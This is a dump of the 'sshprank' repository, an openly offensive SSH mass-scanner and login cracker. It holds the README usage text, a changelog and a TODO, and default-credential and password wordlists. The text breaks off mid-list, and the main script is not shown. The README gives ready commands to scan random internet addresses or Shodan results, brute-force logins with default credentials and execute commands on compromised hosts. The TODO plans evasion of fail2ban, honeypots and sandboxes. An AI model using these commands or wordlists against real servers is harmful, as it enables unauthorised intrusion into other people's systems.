Full Code of noptrix/sshprank for AI

master 057db39cac02 cached
9 files
72.7 KB
22.4k tokens
47 symbols
1 requests
Download .txt
Repository: noptrix/sshprank
Branch: master
Commit: 057db39cac02
Files: 9
Total size: 72.7 KB

Directory structure:
gitextract_655iuklf/

├── .gitignore
├── README.md
├── docs/
│   ├── LICENSE
│   ├── TODO
│   └── requirements.txt
├── lists/
│   ├── combo.list
│   ├── pws.list
│   └── user.list
└── sshprank.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
.bash_history
build.sh
clean.sh
*.db
.DS_Store
.git
id_dsa
id_rsa
*.key
*.log
*.o
owned.txt
passwd
paused.conf
*.pyc
__pycache__
shadow
sshds.txt
sshprank_session.json
random_targets.txt
*.swn
*.swo
*.swp
tags
.vim.session
.zhistory
.zsh_history


================================================
FILE: README.md
================================================
# Description

A fast SSH mass-scanner, login cracker, banner grabber and password auth
checker tool using the python-masscan and shodan module.

# Usage

```
[ hacker@blackarch ~ ]$ sshprank -H
              __                           __
   __________/ /_  ____  _________ _____  / /__
  / ___/ ___/ __ \/ __ \/ ___/ __ `/ __ \/ //_/
 (__  |__  ) / / / /_/ / /  / /_/ / / / / ,<
/____/____/_/ /_/ .___/_/   \__,_/_/ /_/_/|_|
               /_/

      --== [ by nullsecurity.net ] ==--

usage

  sshprank <mode> [opts] | <misc>

mode options

  -h <hosts[:ports]>    - single host, cidr, ip range or host list file to
                          crack. multiple ports can be separated by comma,
                          e.g.: 127.0.0.1:22,222,2022 or 192.168.1.0/24:22
                          or 192.168.1.10-192.168.1.50:22 or 10.0.0.1-50
                          (default port: 22)

  -m <opts> [-r <num>]  - pass arbitrary masscan opts, portscan given hosts and
                          crack for logins. found sshd services will be saved to
                          'sshds.txt' in supported format for '-h' option and
                          even for '-b'. use '-r' for generating random ipv4
                          addresses rather than scanning given hosts. these
                          options are always on: '-sS -oX - --open'.
                          NOTE: if you intent to use the '--banner' option then
                          you need to specify '--source-ip <some_ipaddr>' which
                          is needed by masscan. better check masscan options!

  -s <str;page;lim>     - search ssh servers using shodan and crack logins.
                          see examples below. note: you need a better API key
                          than this one i offer in order to search more than 100
                          (= 1 page) ssh servers. so if you use this one use
                          '1' for 'page'.

  -b <hosts[:ports]>    - grab sshd banner from given target(s)
                          (default port: 22)
                          format: same as '-h' option

  -p <hosts[:ports]>    - check sshd(s) for password auth support
                          (default port: 22)
                          format: same as '-h' option

scan options

  -r <num>              - generate <num> random ipv4 addresses, check for open
                          sshd port and crack for login (only with -m option!)

credential options

  -U <user|file>        - single username or user list (default: root)
  -P <pass|file>        - single password or password list (default: root)
  -c <file>             - list of user:pass combination

brute options

  -e                    - exclude host after first login was found. continue
                          with other hosts instead
  -E                    - exit sshprank completely after first login was found
  -z                    - shuffle target list randomly before cracking
                          (only with -h <file>). saves to 'random_targets.txt'
  -Z <num>              - random brute: pick random target + creds each attempt.
                          <num> total attempts, 0 = infinite (use with -h, -U/-P)

exec options

  -C <cmd|file>         - read commands from file (line by line) or execute a
                          single command on host if login was cracked
  -N                    - do not output ssh command results

thread options

  -x <num>              - num threads for parallel host crack (default: 50)
  -S <num>              - num threads for parallel service crack (default: 20)
  -X <num>              - num threads for parallel login crack (default: 5)
  -B <num>              - num threads for parallel banner grabbing (default: 70)

timeout options

  -T <sec>              - num sec for auth and connect timeout (default: 5s)
  -R <sec>              - num sec for (banner) read timeout (default: 3s)

output options

  -o <file>             - write found logins to file. format:
                          <host>:<port>:<user>:<pass> (default: owned.txt)
  -v                    - verbose mode. show found logins, sshds, etc.
                          (default: off)

misc options

  -i <str>              - spoof ssh client version string sent to sshd
                          (default: paramiko's default version string)
  -w <file>             - session file: if it exists, restore progress from
                          it (skip already-tried creds). on ctrl+c / -E,
                          state is auto-saved to ./sshprank_session.json
                          (or to <file> if -w was given). pass it back via
                          -w to resume.
  -H                    - print help
  -V                    - print version information

examples

  # crack targets from a given list with user admin, pw-list and 20 host-threads
  $ sshprank -h sshds.txt -U admin -P /tmp/passlist.txt -x 20

  # first scan then crack from founds ssh services using 'root:admin'
  $ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \
    --range 192.168.13.1/24' -P admin

  # generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s
  # and crack logins using 'root:root' on found sshds
  $ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v

  # search 50 ssh servers via shodan and crack logins using 'root:root' against
  # found sshds
  $ sshprank -s 'SSH;1;50'

  # grab banners and output to file with format supported for '-h' option
  $ sshprank -b hosts.txt > sshds2.txt

  # check if sshds support password auth
  $ sshprank -p sshds.txt -v

  # shuffle target list and crack
  $ sshprank -h sshds.txt -z -U root -P /tmp/passes.txt

  # random brute: 500 random attempts from ip/user/pass lists
  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 500

  # random brute infinite (ctrl+c to stop)
  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 0

  # spoof ssh client version and crack
  $ sshprank -h sshds.txt -i 'SSH-2.0-OpenSSH_8.9p1'

  # check pwauth with spoofed version
  $ sshprank -p sshds.txt -i 'SSH-2.0-OpenSSH_7.4' -v

  # session file: ctrl+c, then run again to resume
  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -w sess.json
```

# Author

noptrix

# Notes

- quick'n'dirty code
- sshprank is already packaged and available for [BlackArch
  Linux](https://www.blackarch.org/)
- My master-branches are always stable; dev-branches are created for current
  work.
- All of my public stuff you find are officially announced and published via
  [nullsecurity.net](https://www.nullsecurity.net).

# License

Check docs/LICENSE.

# Disclaimer
We hereby emphasize, that the hacking related stuff found on
[nullsecurity.net](http://nullsecurity.net/) are only for education purposes.
We are not responsible for any damages. You are responsible for your own
actions.


================================================
FILE: docs/LICENSE
================================================
The MIT License (MIT)

Copyright (c) 2012-2025 noptrix

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.



================================================
FILE: docs/TODO
================================================
===> 1.x.x

  [ ] new feature
      anti fail2ban
  [ ] new feature
      honeypot detection system
  [ ] new featrue
      sandbox detection


===> 1.7.0

  [x] new feature
      live progress display in quiet mode: '[+] cracking X/Y (XX.XX%)'
      based on userlist*passlist + combolist; '[+] cracking X attempts' for
      -Z 0 infinite mode
  [x] new feature
      session save/restore via -w <file>: skip already-tried creds on resume
      after Ctrl+C / -E / completion. JSON file with iteration position per
      (host, port) + excluded sets + sha256 hashes for lax mismatch warning
  [x] update
      cidr range support for -h/-p, e.g. '192.168.1.0/24:22,2022'.
      expanded into a temp host list, auto-cleaned on exit
  [x] update
      ip range support for -h/-p, e.g. '192.168.1.10-192.168.1.50:22'
      or short octet form '10.0.0.1-50'. expanded into a temp host list,
      auto-cleaned on exit
  [x] update
      -b now accepts the same target formats as -h: single host, host
      list file, cidr, ip range. help text simplified for -b/-p
  [x] update
      remote command exec hardened: each cmd in own try/except, stdin
      shutdown_write to unblock stdin-reading commands
  [x] update
      check_pwauth probe creds 'nobody:x' -> '__sshprank_probe__:<rand>'
      to avoid collisions with real accounts
  [x] update
      dropped dead imports (as_completed, ALL_COMPLETED, deque) and
      redundant 'global' decls
  [x] update
      stabilized opts default types: targets {} (not []), targetlist
      None (not [])
  [x] update
      cidr/range expansion capped at 1M hosts to prevent oom/disk dos on
      typos like /0 or huge ranges
  [x] update
      sigterm now triggers session save (handler raises keyboardinterrupt)
  [x] update
      session auto-saves to ./sshprank_session.json on ctrl+c / -E even
      without -w. -w is only required to resume. -p/-b/-Z modes opt-out
  [x] bugfix
      double ctrl+c during cleanup produced ugly threading shutdown
      traceback - finally now ignores signals during cleanup, then
      os._exit bypasses the threadpool join wait
  [x] update
      skip duplicate initial root:root attempt when -U/-P/-c list given;
      _creds_per_port() count adjusted accordingly
  [x] bugfix
      -p with single host wrongly dispatched to crack_single() - reordered
      main() dispatch by mode flag first
  [x] bugfix
      -i ssh-version spoof had no effect - now sets Transport._CLIENT_ID
      (instance __init__ overwrites local_version)
  [x] bugfix
      malformed combo lines killed process - now warned and skipped


===> 1.6.1

  [x] bugfix
      false-positive logins on banner-echo sshds - added open_session() check
  [x] bugfix
      -e race losing first-login claim - fixed with lock + double-check
  [x] bugfix
      getopt dropped args after first non-option - switched to gnu_getopt +
      reject leftover positional args
  [x] bugfix
      OOM on big target lists - bounded ThreadPool submission via
      wait(FIRST_COMPLETED)
  [x] bugfix
      read_file() peaked 3-4x file size via mmap pipeline - replaced with
      plain line iteration
  [x] update
      exec_command() hardcoded timeout=2 - now uses opts['ctimeout']
  [x] bugfix
      excluded[host] race/wipe in run_threads + crack_rand_brute - fixed
      with setdefault
  [x] bugfix
      empty target lines produced ghost connects - skip them
  [x] bugfix
      log_targets() os._exit on write error killed process - now warn +
      continue; also 'a+' -> 'a'
  [x] update
      bare except: in read_file/grab_banner/gen_ipv4addr - replaced with
      specific exceptions
  [x] update
      crack_rand_brute() spawned pool per batch - one persistent pool with
      bounded submission
  [x] update
      check_pwauth() re-imported paramiko.transport per call - hoisted to
      module-level
  [x] update
      validate -x/-S/-X/-B (>=1), -r (>=1), -Z (>=0) - clear error instead
      of silent no-op


===> 1.6.0

  [x] update
      updated lists/* (optimized user/pws/combo wordlists: added cloud/devops
      accounts, modern pw patterns, cross-combos like root:toor, pi:raspberry)
  [x] bugfix
      combo list parsing used split(':') causing passwords containing ':' to be
      truncated - fixed with split(':', 1)
  [x] bugfix
      read_file() used .split() which broke passwords/usernames containing
      spaces - fixed with .splitlines()
  [x] bugfix
      -e option only excluded the specific port instead of the entire host -
      fixed with separate excluded_hosts set for host-level exclusion
  [x] bugfix
      -N with single -C command never executed the command at all -
      exec_command() was inside the cmd_no_out guard
  [x] bugfix
      log_targets() was not thread-safe - concurrent login finds could corrupt
      the output file - fixed with threading lock
  [x] bugfix
      grab_banner() crashed on non-UTF-8 banner bytes - fixed with
      errors='replace'
  [x] bugfix
      check_pwauth() leaked socket when Transport() failed - added sock.close()
      to finally block
  [x] bugfix
      portscan() error message printed literal 'str(err)' instead of the actual
      error string
  [x] bugfix
      shodan page/limit passed as strings instead of int to api.search()
  [x] bugfix
      crack_rand_brute() (-Z) ignored combolist (-c), silently fell back to
      'root:root'
  [x] bugfix
      -C file mode sent commands with trailing newline to exec_command()
  [x] bugfix
      -C stderr output was never read/shown - remote errors were silently
      swallowed
  [x] bugfix
      -C file mode variable 'line' shadowed by inner output loop - refactored to
      use 'cmd' and 'out'/'err' loop vars
  [x] new feature:
      check sshd for password auth support (-p)
  [x] update
      renamed credential options: -u -> -U, -p -> -P
  [x] update
      dynamic kex/cipher/digest coverage via paramiko internals
  [x] new feature
      add option to spoof client (paramiko) ssh-version (-i)


===> 1.5.0

  [x] randomize ipfile (sort as random ips.txt)
  [x] random brute (take random ip from ips and random user:pass from user
      files ) and brute it
  [x] categorized help options (mode, scan, credential, brute, exec, thread,
      timeout, output options)
  [x] renamed 'modes' -> 'mode options', 'misc' -> 'misc options' for consistency


===> 1.4.4

  [x] bugfix
      port variable leak in run_threads() - inner executor was outside the port
      loop, causing credential lists to only be tested against the last port
      when multiple ports were specified
  [x] bugfix
      NameError on undefined 'futures' in run_threads() when -E was used -
      removed dead code block (crack_login() already calls os._exit())
  [x] bugfix
      grab_banner() crash when create_connection() fails - s was unassigned in
      finally block
  [x] bugfix
      publickey-only port exclusion was gated behind verbose mode, now always
      applied
  [x] update
      uncommented SSHException and Exception logging (verbose mode)


===> 1.4.3

  [x] bugfix
      fixed Python's "SyntaxWarning"
  [x] update
      updated COPYRIGHT info


===> 1.4.2

  [x] bugfix
      banner option
  [x] update
      updated lists/*


===> 1.4.1

  [x] update
      updated help() and README.md (old options were present)


===> 1.4.0

  [x] update
      updated lists/* (added more default passwords and usernames)
  [x] new feature
      add 'exclude host after first login was found' option (-e)
  [x] new feature
      add 'exit sshprank after first login was found' option (-E)
  [x] update
      swap options: '-C' -> '-c'
  [x] update
      merge options: '-l' -> '-h', '-U' -> '-u', '-P' -> '-p'


===> 1.3.5

  [x] update
      remove pf.close() call


===> 1.3.4

  [x] update
      remove open() calls


===> 1.3.3

  [x] update
      use mmap to read wordlist files


===> 1.3.2

  [x] update
      decrease default hosts threads num


===> 1.3.1

  [x] bugfix
      close file descriptor...


===> 1.3.0

  [x] update
      updated default thread nums for host, service and login.
  [x] new feature
      add new option to not output ssh command results ('-N')
  [x] new feature
      read and run commands from file on target (github: #5)
  [x] bugfix
      fix high memory usage (github: #9)


===> 1.2.3

  [x] update
      increase default auth and connect timeout
  [x] update
      use 'info' for 'saved found sshds.txt' rather than 'good'
  [x] update
      use status() for shodan_search()
  [x] update
      updated short description in script file


===> 1.2.2

  [x] update
      call log() only in one place after AuthenticationException occurs
  [x] update
      skip further actions if targets file could not be read ('-l' option)


===> 1.2.1

  [x] update
      only print exclusion infos in verbose mode
  [x] update
      use spin() output for scanning and cracking targets
  [x] update
      update wordings in the examples


===> 1.2.0

  [x] update
      exclude targets if service is not running or pubkey auth only is supported


===> 1.1.3

  [x] update
      print small info if login found (for non-verbose mode)
  [x] new feature
      add uid (root) check for '-m' option
  [x] update
      change wordings a bit


===> 1.1.0

  [x] bugfix
      fix color codes
  [x] update
      use new python format style (f'{foo}')
  [x] update
      add leet and important ascii banner


===> 1.0.0

  [x] update
      mark stable + release


===> 0.0.3

  [x] new feature
      implement remote ssh command exec
  [x] new feature
      implement random target cracking
  [x] new feature
      implement read timeout for banner grabbing
  [x] update
      print found login only if '-v' was chosen
  [x] update
      os exit on found login
  [x] update
      remove colorama bullshit
  [x] bugfix
      fix banner grab issue (non-banner sshds, e.g. 'open' only were ignored)
  [x] update
      by default don't use masscan's --banner option


===> 0.0.2

  [x] update
      use deque() rather than lists for MT


===> 0.0.1

  [x] initial
      initial release



================================================
FILE: docs/requirements.txt
================================================
paramiko
python-masscan
shodan


================================================
FILE: lists/combo.list
================================================
accounting:accounting
admin:1234
admin:12345
admin:123456
admin:admin
admin:admin@123
admin:admin123
admin:password
ansible:ansible
apache:apache
backup:backup
centos:centos
debian:debian
default:default
deploy:deploy
dev:dev
developer:developer
ec2-user:ec2-user
elastic:elastic
ftp:ftp
ftpuser:ftpuser
fwadmin:fwadmin
git:git
guest01:guest01
guest1:guest1
guest:guest
hadoop:hadoop
http:http
info:info
installer:installer
jenkins:jenkins
login:login
mailadmin:mailadmin
mail:mail
maintainer:maintainer
manager:manager
minecraft:minecraft
monitor:monitor
mysql:mysql
nagios:nagios
nginx:nginx
nobody:nobody
none:none
operator:operator
op:op
oracle:oracle
pi:pi
pi:raspberry
postgres:postgres
power:power
readonly:readonly
root:1234
root:12345
root:123456
root:admin
root:password
root:root
root:toor
setup:setup
ssh:ssh
student:student
superadmin:superadmin
superuser:superuser
support:support
sysadmin:sysadmin
sys:sys
system:system
teacher:teacher
tester:tester
test:test
test:test123
tomcat:tomcat
toor:root
toor:toor
ubuntu:ubuntu
user01:user01
user1:user1
user:password
user:user
vagrant:vagrant
web01:web01
web1:web1
webadmin:webadmin
webmaster:webmaster
web:web
www-data:www-data
www:www
zabbix:zabbix


================================================
FILE: lists/pws.list
================================================

!!!!
....
$ummer!
$ummer#
$ummer.
$ummer?
$ummer@
$ummer1
$ummer1!
$ummer1?
$ummer12
$ummer12!
$ummer12?
$ummer123
$ummer123!
$ummer123?
$ummer2
$ummer2!
$ummer2?
$ummer321
$ummer321!
$ummer321?
0000
000000
00000000
1$ummer
1$ummer!
1$ummer?
1111
111111
12$ummer
12$ummer!
12$ummer?
123$ummer
123$ummer!
123$ummer?
1234
12345
123456
1234567
12345678
123456789
1234567890
1234root
1234test
123admin
123autumn
123autumn!
123autumn?
123Autumn
123Autumn!
123Autumn?
123AUTUMN
123AUTUMN!
123AUTUMN?
123demo
123dev
123fall
123fall!
123fall?
123Fall
123Fall!
123Fall?
123FALL
123FALL!
123FALL?
123f@ll
123f@ll!
123f@ll?
123F@ll
123F@ll!
123F@ll?
123login
123manager
123mysql
123none
123pa$$word
123pa$$word!
123pa$$word?
123Pa$$word
123Pa$$word!
123Pa$$word?
123pass
123passw0rd
123passw0rd!
123passw0rd?
123Passw0rd
123Passw0rd!
123Passw0rd?
123password
123password!
123password?
123Password
123Password!
123Password?
123PASSWORD
123PASSWORD!
123PASSWORD?
123postgres
123p@ssword
123p@ssword!
123p@ssword?
123P@ssword
123P@ssword!
123P@ssword?
123root
123summer
123summer!
123summer?
123Summer
123Summer!
123Summer?
123SUMMER
123SUMMER!
123SUMMER?
123sys
123system
123test
123tomcat
123toor
123user
123@utumn
123@utumn!
123@utumn?
123web
123winter
123winter!
123winter?
123Winter
123Winter!
123Winter?
123WINTER
123WINTER!
123WINTER?
123www
12autumn
12autumn!
12autumn?
12Autumn
12Autumn!
12Autumn?
12AUTUMN
12AUTUMN!
12AUTUMN?
12fall
12fall!
12fall?
12Fall
12Fall!
12Fall?
12FALL
12FALL!
12FALL?
12f@ll
12f@ll!
12f@ll?
12F@ll
12F@ll!
12F@ll?
12pa$$word
12pa$$word!
12pa$$word?
12Pa$$word
12Pa$$word!
12Pa$$word?
12passw0rd
12passw0rd!
12passw0rd?
12Passw0rd
12Passw0rd!
12Passw0rd?
12password
12password!
12password?
12Password
12Password!
12Password?
12PASSWORD
12PASSWORD!
12PASSWORD?
12p@ssword
12p@ssword!
12p@ssword?
12P@ssword
12P@ssword!
12P@ssword?
12summer
12summer!
12summer?
12Summer
12Summer!
12Summer?
12SUMMER
12SUMMER!
12SUMMER?
12@utumn
12@utumn!
12@utumn?
12winter
12winter!
12winter?
12Winter
12Winter!
12Winter?
12WINTER
12WINTER!
12WINTER?
1autumn
1autumn!
1autumn?
1Autumn
1Autumn!
1Autumn?
1AUTUMN
1AUTUMN!
1AUTUMN?
1fall
1fall!
1fall?
1Fall
1Fall!
1Fall?
1FALL
1FALL!
1FALL?
1f@ll
1f@ll!
1f@ll?
1F@ll
1F@ll!
1F@ll?
1pa$$word
1pa$$word!
1pa$$word?
1Pa$$word
1Pa$$word!
1Pa$$word?
1pa$$word1
1Pa$$word1
1pa$$word2
1Pa$$word2
1pa$$word3
1Pa$$word3
1passw0rd
1passw0rd!
1passw0rd?
1Passw0rd
1Passw0rd!
1Passw0rd?
1passw0rd1
1Passw0rd1
1passw0rd2
1Passw0rd2
1passw0rd3
1Passw0rd3
1password
1password!
1password?
1Password
1Password!
1Password?
1PASSWORD
1PASSWORD!
1PASSWORD?
1password1
1Password1
1PASSWORD1
1password2
1Password2
1PASSWORD2
1password3
1Password3
1PASSWORD3
1p@ssword
1p@ssword!
1p@ssword?
1P@ssword
1P@ssword!
1P@ssword?
1p@ssword1
1P@ssword1
1p@ssword2
1P@ssword2
1p@ssword3
1P@ssword3
1q2w3e4r
1q2w3e4r!
1summer
1summer!
1summer?
1Summer
1Summer!
1Summer?
1SUMMER
1SUMMER!
1SUMMER?
1@utumn
1@utumn!
1@utumn?
1winter
1winter!
1winter?
1Winter
1Winter!
1Winter?
1WINTER
1WINTER!
1WINTER?
2$ummer
2$ummer!
2$ummer?
2020
2021
2022
2023
2024
2025
2222
2autumn
2autumn!
2autumn?
2Autumn
2Autumn!
2Autumn?
2AUTUMN
2AUTUMN!
2AUTUMN?
2fall
2fall!
2fall?
2Fall
2Fall!
2Fall?
2FALL
2FALL!
2FALL?
2f@ll
2f@ll!
2f@ll?
2F@ll
2F@ll!
2F@ll?
2pa$$word
2pa$$word!
2pa$$word?
2Pa$$word
2Pa$$word!
2Pa$$word?
2pa$$word1
2Pa$$word1
2pa$$word2
2Pa$$word2
2pa$$word3
2Pa$$word3
2passw0rd
2passw0rd!
2passw0rd?
2Passw0rd
2Passw0rd!
2Passw0rd?
2passw0rd1
2Passw0rd1
2passw0rd2
2Passw0rd2
2passw0rd3
2Passw0rd3
2password
2password!
2password?
2Password
2Password!
2Password?
2PASSWORD
2PASSWORD!
2PASSWORD?
2password1
2Password1
2PASSWORD1
2password2
2Password2
2PASSWORD2
2password3
2Password3
2PASSWORD3
2p@ssword
2p@ssword!
2p@ssword?
2P@ssword
2P@ssword!
2P@ssword?
2p@ssword1
2P@ssword1
2p@ssword2
2P@ssword2
2p@ssword3
2P@ssword3
2summer
2summer!
2summer?
2Summer
2Summer!
2Summer?
2SUMMER
2SUMMER!
2SUMMER?
2@utumn
2@utumn!
2@utumn?
2winter
2winter!
2winter?
2Winter
2Winter!
2Winter?
2WINTER
2WINTER!
2WINTER?
321$ummer
321$ummer!
321$ummer?
321autumn
321autumn!
321autumn?
321Autumn
321Autumn!
321Autumn?
321AUTUMN
321AUTUMN!
321AUTUMN?
321fall
321fall!
321fall?
321Fall
321Fall!
321Fall?
321FALL
321FALL!
321FALL?
321f@ll
321f@ll!
321f@ll?
321F@ll
321F@ll!
321F@ll?
321pa$$word
321pa$$word!
321pa$$word?
321Pa$$word
321Pa$$word!
321Pa$$word?
321passw0rd
321passw0rd!
321passw0rd?
321Passw0rd
321Passw0rd!
321Passw0rd?
321password
321password!
321password?
321Password
321Password!
321Password?
321PASSWORD
321PASSWORD!
321PASSWORD?
321p@ssword
321p@ssword!
321p@ssword?
321P@ssword
321P@ssword!
321P@ssword?
321summer
321summer!
321summer?
321Summer
321Summer!
321Summer?
321SUMMER
321SUMMER!
321SUMMER?
321@utumn
321@utumn!
321@utumn?
321winter
321winter!
321winter?
321Winter
321Winter!
321Winter?
321WINTER
321WINTER!
321WINTER?
3333
3pa$$word
3Pa$$word
3pa$$word1
3Pa$$word1
3pa$$word2
3Pa$$word2
3pa$$word3
3Pa$$word3
3passw0rd
3Passw0rd
3passw0rd1
3Passw0rd1
3passw0rd2
3Passw0rd2
3passw0rd3
3Passw0rd3
3password
3Password
3PASSWORD
3password1
3Password1
3PASSWORD1
3password2
3Password2
3PASSWORD2
3password3
3Password3
3PASSWORD3
3p@ssword
3P@ssword
3p@ssword1
3P@ssword1
3p@ssword2
3P@ssword2
3p@ssword3
3P@ssword3
4444
5555
654321
6666
7777
8888
9999
abc123
accounting
admin
admin@123
admin123
Admin123
Admin123!
admin2023
admin2024
admin2025
ansible
apache
asdf
asdf123
asdf1234
asdfg
asdfg1234
asdfg12345
autumn
autumn!
autumn#
autumn.
autumn?
autumn@
Autumn
Autumn!
Autumn#
Autumn.
Autumn?
Autumn@
AUTUMN!
AUTUMN#
AUTUMN.
AUTUMN?
AUTUMN@
autumn1
autumn1!
autumn1?
Autumn1
Autumn1!
Autumn1?
AUTUMN1
AUTUMN1!
AUTUMN1?
autumn12
autumn12!
autumn12?
Autumn12
Autumn12!
Autumn12?
AUTUMN12
AUTUMN12!
AUTUMN12?
autumn123
autumn123!
autumn123?
Autumn123
Autumn123!
Autumn123?
AUTUMN123
AUTUMN123!
AUTUMN123?
autumn2
autumn2!
autumn2?
Autumn2
Autumn2!
Autumn2?
AUTUMN2
AUTUMN2!
AUTUMN2?
autumn321
autumn321!
autumn321?
Autumn321
Autumn321!
Autumn321?
AUTUMN321
AUTUMN321!
AUTUMN321?
backup
black
black1
black1!
black123
black123!
blue
blue1
blue1!
blue123
blue123!
changeme
changeme1
changeme123
Changeme123!
debian
default
demo
demo123
demos
deploy
dev
dev123
dragon
elastic
fall!
fall#
fall.
fall?
fall@
Fall!
Fall#
Fall.
Fall?
Fall@
FALL!
FALL#
FALL.
FALL?
FALL@
fall1
fall1!
fall1?
Fall1
Fall1!
Fall1?
FALL1
FALL1!
FALL1?
fall12
fall12!
fall12?
Fall12
Fall12!
Fall12?
FALL12
FALL12!
FALL12?
fall123
fall123!
fall123?
Fall123
Fall123!
Fall123?
FALL123
FALL123!
FALL123?
fall2
fall2!
fall2?
Fall2
Fall2!
Fall2?
FALL2
FALL2!
FALL2?
fall321
fall321!
fall321?
Fall321
Fall321!
Fall321?
FALL321
FALL321!
FALL321?
f@ll!
f@ll#
f@ll.
f@ll?
f@ll@
F@ll!
F@ll#
F@ll.
F@ll?
F@ll@
f@ll1
f@ll1!
f@ll1?
F@ll1
F@ll1!
F@ll1?
f@ll12
f@ll12!
f@ll12?
F@ll12
F@ll12!
F@ll12?
f@ll123
f@ll123!
f@ll123?
F@ll123
F@ll123!
F@ll123?
f@ll2
f@ll2!
f@ll2?
F@ll2
F@ll2!
F@ll2?
f@ll321
f@ll321!
f@ll321?
F@ll321
F@ll321!
F@ll321?
ftp
ftpuser
fuck!
fuck1
fuck1!
Fuck1
fuck123!
Fuck123
Fuck123!
fuckoff
fuckoff!
FuckOff
fuckoff1
fuckoff1!
fuckoff123
fuckoff123!
fuckyou
fuckyou!
FuckYou
FuckYou!
FUCKYOU!
FUCKYOU1!
FuckYou123!
FUCKYOU123
fwadmin
git
gold
gold1
gold1!
gold123
gold123!
green
guest
guest01
guest1
hadoop
http
iloveyou
installer
jenkins
letmein
linux
Linux
linux123
login
login!
login123
login1234
mail
mailadmin
maintainer
manager
manager123
master
Master
master1
master1!
Master1
Master1!
master123
master123!
Master123
Master123!
minecraft
monitor
monkey
mysql
mysql123
nagios
nginx
nobody
none
none123
op
operator
oracle
orange
orange1
orange1!
orange123
orange123!
P@$$w0rd
P@$$word
pa$$word
pa$$word!
pa$$word#
pa$$word.
pa$$word?
pa$$word@
Pa$$word
Pa$$word!
Pa$$word#
Pa$$word.
Pa$$word?
Pa$$word@
pa$$word1
pa$$word1!
pa$$word1?
Pa$$word1
Pa$$word1!
Pa$$word1?
pa$$word12
pa$$word12!
pa$$word12?
Pa$$word12
Pa$$word12!
Pa$$word12?
pa$$word123
pa$$word123!
pa$$word123?
Pa$$word123
Pa$$word123!
Pa$$word123?
pa$$word2
pa$$word2!
pa$$word2?
Pa$$word2
Pa$$word2!
Pa$$word2?
pa$$word3
Pa$$word3
pa$$word321
pa$$word321!
pa$$word321?
Pa$$word321
Pa$$word321!
Pa$$word321?
pass!
PASS
pass@123
pass123
Pass123!
PASS123
pass1234
passw0rd
passw0rd!
passw0rd#
passw0rd.
passw0rd?
passw0rd@
Passw0rd
Passw0rd!
Passw0rd#
Passw0rd.
Passw0rd?
Passw0rd@
passw0rd1
passw0rd1!
passw0rd1?
Passw0rd1
Passw0rd1!
Passw0rd1?
passw0rd12
passw0rd12!
passw0rd12?
Passw0rd12
Passw0rd12!
Passw0rd12?
passw0rd123
passw0rd123!
passw0rd123?
Passw0rd123
Passw0rd123!
Passw0rd123?
passw0rd2
passw0rd2!
passw0rd2?
Passw0rd2
Passw0rd2!
Passw0rd2?
passw0rd3
Passw0rd3
passw0rd321
passw0rd321!
passw0rd321?
Passw0rd321
Passw0rd321!
Passw0rd321?
password
password!
password#
password.
password?
password@
Password
Password!
Password#
Password.
Password?
Password@
PassWord
PASSWORD
PASSWORD!
PASSWORD#
PASSWORD.
PASSWORD?
PASSWORD@
password1
password1!
password1?
Password1
Password1!
Password1?
PASSWORD1
PASSWORD1!
PASSWORD1?
password12
password12!
password12?
Password12
Password12!
Password12?
PASSWORD12
PASSWORD12!
PASSWORD12?
password123
password123!
password123?
Password123
Password123!
Password123?
PASSWORD123
PASSWORD123!
PASSWORD123?
password2
password2!
password2?
Password2
Password2!
Password2?
PASSWORD2
PASSWORD2!
PASSWORD2?
password3
Password3
PASSWORD3
password321
password321!
password321?
Password321
Password321!
Password321?
PASSWORD321
PASSWORD321!
PASSWORD321?
pi
pink
pink1
pink1!
pink123
pink123!
postgres
postgres123
power
power1
power1!
power123
power123!
P@ssw0rd
p@ssword
p@ssword!
p@ssword#
p@ssword.
p@ssword?
p@ssword@
P@ssword
P@ssword!
P@ssword#
P@ssword.
P@ssword?
P@ssword@
p@ssword1
p@ssword1!
p@ssword1?
P@ssword1
P@ssword1!
P@ssword1?
p@ssword12
p@ssword12!
p@ssword12?
P@ssword12
P@ssword12!
P@ssword12?
p@ssword123
p@ssword123!
p@ssword123?
P@ssword123
P@ssword123!
P@ssword123?
p@ssword2
p@ssword2!
p@ssword2?
P@ssword2
P@ssword2!
P@ssword2?
p@ssword3
P@ssword3
p@ssword321
p@ssword321!
p@ssword321?
P@ssword321
P@ssword321!
P@ssword321?
purple
purple1
purple1!
purple123
purple123!
pw123
pw123!
PW123
PW123!
pw1234
PW1234
PW1234!
pwd
pwd1
pwd1!
Pwd1!
pwd123
pwd123!
pwer1234!
qwerty
qwerty123
qwerty1234
qwerty12345
qwertz
qwertz123
qwertz1234
qwertz12345
raspberry
readonly
red
red1
red1!
red123
red123!
root
ROOT
root123
ROOT123
root1234
root2024
setup
setup1
setup1!
setup123
silver
spring
Spring
SPRING
spring1
spring1!
Spring1
spring123
spring123!
Spring123
Spring123!
ssh
ssh123
ssh123!
student
summer
summer!
summer#
summer.
summer?
summer@
Summer!
Summer#
Summer.
Summer?
Summer@
SUMMER
SUMMER!
SUMMER#
SUMMER.
SUMMER?
SUMMER@
summer1
summer1!
summer1?
Summer1
Summer1!
Summer1?
SUMMER1
SUMMER1!
SUMMER1?
summer12
summer12!
